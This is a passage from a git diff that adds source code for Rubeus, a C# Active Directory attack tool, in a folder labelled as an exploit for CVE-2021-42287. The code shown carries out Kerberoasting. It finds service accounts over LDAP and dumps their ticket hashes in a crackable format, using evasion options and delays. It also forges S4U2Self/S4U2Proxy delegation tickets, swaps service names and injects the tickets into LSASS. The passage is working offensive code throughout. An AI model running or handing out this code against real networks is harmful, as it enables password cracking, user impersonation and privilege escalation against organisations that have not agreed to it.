domain from the referral + domain = ticketDomain; + } + + // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher + if (ticketDomain != domain) + { + if (String.IsNullOrEmpty(dc)) + { + dc = Networking.GetDCName(domain); + } + + string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; + Ticket ticket = TGT.tickets[0]; + byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; + + // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket + Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); + if (match.Success) + { + System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); + System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); + dc = dcInfo.HostName; + } + + // request a service tickt for LDAP on the target DC + kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); + } + // otherwise inject the TGT to perform the domain searcher + else + { + kirbiBytes = TGT.Encode().Encode(); + } + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + // build LDAP query + string userFilter = ""; + + if (!String.IsNullOrEmpty(userName)) + { + if (userName.Contains(",")) + { + // searching for multiple specified users, ensuring they're not disabled accounts + string userPart = ""; + foreach (string user in userName.Split(',')) + { + userPart += String.Format("(samAccountName={0})", user); + } + userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); + } + else + { + // searching for a specified user, ensuring it's not a disabled account + userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); + } + } + else + { + // if no user specified, filter out the krbtgt account and disabled accounts + userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; + } + + string encFilter = ""; + if (String.Equals(supportedEType, "rc4opsec")) + { + // "opsec" RC4, meaning don't RC4 roast accounts that support AES + Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); + encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; + } + else if (String.Equals(supportedEType, "aes")) + { + // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 + Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); + encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; + } + + // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, + // then RC4 tickets would NOT be returned, so the original filter was: + // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 + // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 + // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 + // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; + + // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ + // so this fine-grained filtering is not needed + + string userSearchFilter = ""; + if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) + { + if (String.IsNullOrEmpty(pwdSetAfter)) + { + pwdSetAfter = "01-01-1601"; + } + if (String.IsNullOrEmpty(pwdSetBefore)) + { + pwdSetBefore = "01-01-2100"; + } + + Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); + + try + { + DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); + DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); + string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; + userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); + } + catch + { + Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); + return; + } + } + else + { + userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); + } + + if (!String.IsNullOrEmpty(ldapFilter)) + { + userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); + } + + List> users = Networking.GetLdapQuery(cred, OUName, dc, domain, userSearchFilter, ldaps); + if (users == null) + { + Console.WriteLine("[X] LDAP query failed, try specifying more domain information or specific SPNs."); + return; + } + + try + { + if (users.Count == 0) + { + Console.WriteLine("\r\n[X] No users found to Kerberoast!"); + } + else + { + Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); + } + + // used to keep track of user encryption types + SortedDictionary userETypes = new SortedDictionary(); + // used to keep track of years that users had passwords last set in + SortedDictionary userPWDsetYears = new SortedDictionary(); + + foreach (IDictionary user in users) + { + string samAccountName = (string)user["samaccountname"]; + string distinguishedName = (string)user["distinguishedname"]; + string servicePrincipalName = ((string[])user["serviceprincipalname"])[0]; + + + DateTime? pwdLastSet = null; + if (user.ContainsKey("pwdlastset")) + { + pwdLastSet = ((DateTime)user["pwdlastset"]).ToLocalTime(); + } + + Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE)0; + if (user.ContainsKey("msds-supportedencryptiontypes")) + { + supportedETypes = (Interop.SUPPORTED_ETYPE)(int)user["msds-supportedencryptiontypes"]; + } + + if (!userETypes.ContainsKey(supportedETypes)) + { + userETypes[supportedETypes] = 1; + } + else + { + userETypes[supportedETypes] = userETypes[supportedETypes] + 1; + } + + if (pwdLastSet == null) + { + // pwdLastSet == null with new accounts and + // when a password is set to never expire + if (!userPWDsetYears.ContainsKey(-1)) + userPWDsetYears[-1] = 1; + else + userPWDsetYears[-1] += 1; + } + else + { + int year = pwdLastSet.Value.Year; + if (!userPWDsetYears.ContainsKey(year)) + userPWDsetYears[year] = 1; + else + userPWDsetYears[year] += 1; + } + + if (!userStats) + { + if (!simpleOutput) + { + Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); + Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); + Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); + Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); + Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); + } + + if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) + { + servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); + } + if (TGT != null) + { + Interop.KERB_ETYPE etype = Interop.KERB_ETYPE.subkey_keymaterial; + // if a TGT .kirbi is supplied, use that for the request + // this could be a passed TGT or if TGT delegation is specified + + if (String.Equals(supportedEType, "rc4") && + ( + ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || + ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) + ) + ) + { + // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 + etype = Interop.KERB_ETYPE.rc4_hmac; + } + + bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, etype); + Helpers.RandomDelayWithJitter(delay, jitter); + if (!result && autoenterprise) + { + Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); + servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); + GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, etype); + Helpers.RandomDelayWithJitter(delay, jitter); + } + } + else + { + // otherwise use the KerberosRequestorSecurityToken method + bool result = GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); + Helpers.RandomDelayWithJitter(delay, jitter); + if (!result && autoenterprise) + { + Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); + servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); + GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); + Helpers.RandomDelayWithJitter(delay, jitter); + } + } + } + } + + if (userStats) + { + var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); + var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); + Console.WriteLine(); + + // display stats about the users found + foreach (var item in userETypes) + { + eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); + } + eTypeTable.Write(); + + foreach (var item in userPWDsetYears) + { + pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); + } + pwdLastSetTable.Write(); + } + } + catch (Exception ex) + { + Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); + return; + } + } + + if (!String.IsNullOrEmpty(outFile)) + { + Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); + } + } + + public static bool GetTGSRepHash(string spn, string userName = "user", string distinguishedName = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false) + { + // use the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach + + string domain = "DOMAIN"; + + if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) + { + // extract the domain name from the distinguishedname + Match dnMatch = Regex.Match(distinguishedName, "(?DC=.*)", RegexOptions.IgnoreCase); + string domainDN = dnMatch.Groups["Domain"].ToString(); + domain = domainDN.Replace("DC=", "").Replace(',', '.'); + } + + try + { + // the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the + // GetRequest() stream was constributed to PowerView by @machosec + System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket; + if (cred != null) + { + ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString()); + } + else + { + ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn); + } + byte[] requestBytes = ticket.GetRequest(); + + if (!((requestBytes[15] == 1) && (requestBytes[16] == 0))) + { + Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n"); + return false; + } + + // ignore the GSSAPI frame + byte[] apReqBytes = new byte[requestBytes.Length - 17]; + Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17); + + AsnElt apRep = AsnElt.Decode(apReqBytes); + + if (apRep.TagValue != 14) + { + Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue); + } + + long encType = 0; + + foreach (AsnElt elem in apRep.Sub[0].Sub) + { + if (elem.TagValue == 3) + { + foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub) + { + if (elem2.TagValue == 3) + { + foreach (AsnElt elem3 in elem2.Sub[0].Sub) + { + if (elem3.TagValue == 0) + { + encType = elem3.Sub[0].GetInteger(); + } + + if (elem3.TagValue == 2) + { + byte[] cipherTextBytes = elem3.Sub[0].GetOctetString(); + string cipherText = BitConverter.ToString(cipherTextBytes).Replace("-", ""); + string hash = ""; + + if ((encType == 18) || (encType == 17)) + { + //Ensure checksum is extracted from the end for aes keys + int checksumStart = cipherText.Length - 24; + //Enclose SPN in *s rather than username, realm and SPN. This doesn't impact cracking, but might affect loading into hashcat. + hash = String.Format("$krb5tgs${0}${1}${2}$*{3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(checksumStart), cipherText.Substring(0, checksumStart)); + } + //if encType==23 + else + { + hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32)); + } + + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, hash + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + Console.WriteLine("[*] Hash written to {0}\r\n", outFilePath); + } + else if (simpleOutput) + { + Console.WriteLine(hash); + } + else + { + if (Rubeus.Program.wrapTickets) + { + bool header = false; + foreach (string line in Helpers.Split(hash, 80)) + { + if (!header) + { + Console.WriteLine("[*] Hash : {0}", line); + } + else + { + Console.WriteLine(" {0}", line); + } + header = true; + } + } + else + { + Console.WriteLine("[*] Hash : {0}", hash); + } + Console.WriteLine(); + } + } + } + } + } + } + } + } + catch (Exception ex) + { + Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); + return false; + } + return true; + } + + public static bool GetTGSRepHash(KRB_CRED TGT, string spn, string userName = "user", string distinguishedName = "", string outFile = "", bool simpleOutput = false, bool enterprise = false, string domainController = "", Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial) + { + // use a TGT blob to request a hash instead of the KerberosRequestorSecurityToken method + string tgtDomain = "DOMAIN"; + + // we can only roast tickets for the domain that we have a TGT for, first determine it's a TGT + string serviceName = TGT.tickets[0].sname.name_string[0]; + if (!serviceName.Equals("krbtgt")) + { + Console.WriteLine("[X] Unable to request service tickets without a TGT, please rerun and provide a TGT to '/ticket'."); + return false; + } + else + { + // always use the doamin that our TGT is for + tgtDomain = TGT.tickets[0].sname.name_string[1]; + } + + // extract out the info needed for the TGS-REQ request + string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; + string domain = TGT.enc_part.ticket_info[0].prealm.ToLower(); + Ticket ticket = TGT.tickets[0]; + byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; + + // request the new service ticket + byte[] tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, spn, requestEType, null, false, domainController, false, enterprise, false, false, null, tgtDomain); + + if (tgsBytes != null) + { + KRB_CRED tgsKirbi = new KRB_CRED(tgsBytes); + DisplayTGShash(tgsKirbi, true, userName, tgtDomain, outFile, simpleOutput); + Console.WriteLine(); + return true; + } + + return false; + } + + public static void DisplayTGShash(KRB_CRED cred, bool kerberoastDisplay = false, string kerberoastUser = "USER", string kerberoastDomain = "DOMAIN", string outFile = "", bool simpleOutput = false) + { + // output the hash of the encrypted KERB-CRED service ticket in a kerberoast hash form + + int encType = cred.tickets[0].enc_part.etype; + string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray()); + string domainName = cred.enc_part.ticket_info[0].prealm; + string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray()); + + string cipherText = BitConverter.ToString(cred.tickets[0].enc_part.cipher).Replace("-", string.Empty); + + string hash = ""; + //Aes needs to be treated differently, as the checksum is the last 24, not the first 32. + if ((encType == 18) || (encType == 17)) + { + int checksumStart = cipherText.Length - 24; + //Enclose SPN in *s rather than username, realm and SPN. This doesn't impact cracking, but might affect loading into hashcat. + hash = String.Format("$krb5tgs${0}${1}${2}$*{3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(checksumStart), cipherText.Substring(0, checksumStart)); + } + //if encType==23 + else + { + hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(0, 32), cipherText.Substring(32)); + } + + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, hash + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + Console.WriteLine("[*] Hash written to {0}", outFilePath); + } + else if (simpleOutput) + { + Console.WriteLine(hash); + } + else + { + bool header = false; + if (Rubeus.Program.wrapTickets) + { + foreach (string line in Helpers.Split(hash, 80)) + { + if (!header) + { + if (kerberoastDisplay) + { + Console.WriteLine("[*] Hash : {0}", line); + } + else + { + Console.WriteLine(" Kerberoast Hash : {0}", line); + } + } + else + { + if (kerberoastDisplay) + { + Console.WriteLine(" {0}", line); + } + else + { + Console.WriteLine(" {0}", line); + } + } + header = true; + } + } + else + { + if (kerberoastDisplay) + { + Console.WriteLine("[*] Hash : {0}", hash); + } + else + { + Console.WriteLine(" Kerberoast Hash : {0}", hash); + } + } + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/S4U.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/S4U.cs new file mode 100644 index 0000000..dbb3cf5 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/S4U.cs @@ -0,0 +1,959 @@ +using System; +using System.IO; +using System.Linq; +using System.Net; +using System.Collections.Generic; +using Asn1; +using Rubeus.lib.Interop; + + +namespace Rubeus +{ + public class S4U + { + public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool self = false, bool opsec = false, bool bronzebit = false, bool pac = true) + { + // first retrieve a TGT for the user + byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID(), false, opsec, "", false, pac); + + if (kirbiBytes == null) + { + Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters"); + return; + } + else + { + Console.WriteLine("\r\n"); + } + + // transform the TGT bytes into a .kirbi file + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + + // execute the s4u process + Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain, self, opsec, bronzebit, keyString, etype); + } + public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string requestDomain = "", string impersonateDomain = "") + { + Console.WriteLine("[*] Action: S4U\r\n"); + + if (!String.IsNullOrEmpty(targetDomain) && !String.IsNullOrEmpty(targetDomainController)) + { + // do cross domain S4U + // no support for supplying a TGS due to requiring more than a single ticket + Console.WriteLine("[*] Performing cross domain constrained delegation"); + CrossDomainS4U(kirbi, targetUser, targetSPN, ptt, domainController, altService, targetDomainController, targetDomain); + } + else + { + if (tgs != null && String.IsNullOrEmpty(targetSPN) == false) + { + Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]); + S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, opsec); + } + else + { + KRB_CRED self = null; + if (!String.IsNullOrEmpty(targetDomain)) + { + // Get relevent information from provided referral ticket + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = targetDomain; + targetDomain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + // If these domains are empty, use the domain from the referral ticket + if (String.IsNullOrEmpty(impersonateDomain)) + impersonateDomain = targetDomain; + + if (String.IsNullOrEmpty(requestDomain)) + requestDomain = targetDomain; + + + KRB_CRED localSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, impersonateDomain), domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, altService, s, requestDomain, ptt); + } + else + { + self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec, bronzebit, keyString, encType); + if (self == null) + { + Console.WriteLine("[X] S4U2Self failed, unable to perform S4U2Proxy."); + return; + } + } + if (String.IsNullOrEmpty(targetSPN) == false) + { + S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self, opsec); + } + } + } + } + private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false) + { + Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); + if (!String.IsNullOrEmpty(altService)) + { + string[] altSnames = altService.Split(','); + if (altSnames.Length == 1) + { + Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); + } + else + { + Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); + } + } + + // extract out the info needed for the TGS-REQ/S4U2Proxy execution + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return; } + Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); + TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec); + + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; + + s4u2proxyReq.req_body.realm = domain; + + string[] parts = targetSPN.Split('/'); + string serverName = parts[parts.Length-1]; + + s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + foreach(string part in parts) + { + s4u2proxyReq.req_body.sname.name_string.Add(part); + } + + // supported encryption types + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + + // add in the ticket from the S4U2self response + s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]); + + // needed for authenticator checksum + byte[] cksum_Bytes = null; + + // the rest of the opsec changes + if (opsec) + { + // remove renewableok and add canonicalize + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + + // 15 minutes in the future like genuine requests + DateTime till = DateTime.Now; + till = till.AddMinutes(15); + s4u2proxyReq.req_body.till = till; + + // extra etypes + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + + // get hostname and hostname of SPN + string hostName = Dns.GetHostName().ToUpper(); + string targetHostName; + if (parts.Length > 1) + { + targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); + } + else + { + targetHostName = hostName; + } + + // create enc-authorization-data if target host is not the local machine + if (hostName != targetHostName) + { + // authdata requires key and etype from tgs + byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype; + + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADRestrictionEntry restrictions = new ADRestrictionEntry(); + ADKerbLocal kerbLocal = new ADKerbLocal(); + ifrelevant.ADData.Add(restrictions); + ifrelevant.ADData.Add(kerbLocal); + AsnElt authDataSeq = ifrelevant.Encode(); + authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); + byte[] authorizationDataBytes = authDataSeq.Encode(); + byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes); + s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data); + } + + // encode req_body for authenticator cksum + AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode(); + AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); + req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); + byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); + cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); + } + + // moved to end so we can have the checksum in the authenticator + PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes); + s4u2proxyReq.padata.Add(padata); + PA_DATA pac_options = new PA_DATA(false, false, false, true); + s4u2proxyReq.padata.Add(pac_options); + + byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); + + Console.WriteLine("[*] Sending S4U2proxy request"); + byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); + if (response2 == null) + { + return; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response2, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + Console.WriteLine("[+] S4U2proxy success!"); + + // parse the response to an TGS-REP + TGS_REP rep2 = new TGS_REP(responseAsn); + + // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 + byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); + AsnElt ae2 = AsnElt.Decode(outBytes2, false); + EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); + + if (!String.IsNullOrEmpty(altService)) + { + string[] altSnames = altService.Split(','); + + foreach (string altSname in altSnames) + { + // now build the final KRB-CRED structure with one or more alternate snames + KRB_CRED cred = new KRB_CRED(); + + // since we want an alternate sname, first substitute it into the ticket structure + rep2.ticket.sname.name_string[0] = altSname; + + // add the ticket + cred.tickets.Add(rep2.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED + Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); + info.sname.name_string[0] = altSname; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); + + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + if (!String.IsNullOrEmpty(outfile)) + { + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + } + } + else + { + // now build the final KRB-CRED structure, no alternate snames + KRB_CRED cred = new KRB_CRED(); + + // if we want an alternate sname, first substitute it into the ticket structure + if (!String.IsNullOrEmpty(altService)) + { + rep2.ticket.sname.name_string[0] = altService; + } + + // add the ticket + cred.tickets.Add(rep2.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + 